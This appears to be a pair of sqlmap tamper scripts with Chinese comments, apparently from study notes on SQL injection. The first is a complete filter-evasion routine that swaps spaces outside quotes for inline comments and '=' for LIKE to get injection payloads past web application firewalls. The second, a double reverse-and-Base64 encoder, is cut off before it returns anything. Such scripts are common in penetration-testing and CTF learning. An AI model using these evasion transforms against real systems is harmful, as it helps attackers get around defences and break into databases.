1
#!/usr/bin/env python
2
from lib.core.compat import xrange
3
from lib.core.enums import PRIORITY
4

5
__priority__ = PRIORITY.LOW
6

7
def tamper(payload, **kwargs):
8
    """
9
    针对空格和 = 的绕过脚本：
10
    - 空格 → /**/
11
    - = → LIKE
12
    """
13
    if payload:
14
        retVal = ""
15
    #这两个变量是状态标记（Flag），用于追踪当前解析位置是否在单引号或双引号字符串内部。
16
        quote = False
17
        doublequote = False
18

19
        for i in xrange(len(payload)):
20
            # 处理引号状态
21
            if payload[i] == '\'':
22
                quote = not quote
23
            elif payload[i] == '"':
24
                doublequote = not doublequote
25

26
            # 如果在引号内，原样保留
27
            if quote or doublequote:
28
                retVal += payload[i]
29
                continue
30

31
            # 不在引号内时，进行替换
32
            if payload[i] == ' ':
33
                retVal += '/**/'
34
            elif payload[i] == '=':
35
                retVal += ' LIKE '
36
            else:
37
                retVal += payload[i]
38

39
        return retVal
40
    return payload

1
#!/usr/bin/env python
2

3
import base64
4
from lib.core.enums import PRIORITY
5

6
__priority__ = PRIORITY.LOW
7

8
def tamper(payload, **kwargs):
9
    # 1. 反转原始 payload
10
    payload = payload[::-1].encode()
11
    # 2. 第一次 Base64 编码
12
    payload = base64.b64encode(payload)
13
    # 3. 反转编码结果
14
    payload = (payload.decode())[::-1]
15
    # 4. 第二次 Base64 编码
16
    payload = base64.b64encode(payload.encode())